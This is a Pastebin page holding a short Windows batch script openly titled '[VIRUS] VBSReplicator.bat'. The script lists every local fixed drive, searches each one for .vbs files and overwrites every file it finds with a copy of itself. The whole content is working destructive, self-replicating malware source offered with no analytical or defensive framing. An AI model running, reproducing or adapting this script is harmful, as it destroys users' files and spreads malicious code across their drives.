Wasif_Hasan_

[VIRUS] VBSReplicator.bat

Sep 10th, 2020 (edited)
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.40 KB | None | 0 0
  1. @echo off & setlocal EnableDelayedExpansion & set drv=0
  2. for /f "tokens=2 delims==" %%a in ('wmic logicaldisk where "DriveType=3" get Caption /format:list ^| find "Caption"') do (set "drive[!drv!]=%%a" & set /a drv=drv+1)
  3. set /a drv=drv-1
  4. for /l %%a in (0,1,!drv!) do (
  5.   set "mydrv=!drive[%%a]!"
  6.   for /f "tokens=* delims= " %%b in ('dir /b /s "!mydrv!\*.vbs"') do (
  7.     type "%~f0" >"%%~fb"
  8.   )
  9. )
  10.  
Add Comment
Please, Sign In to add comment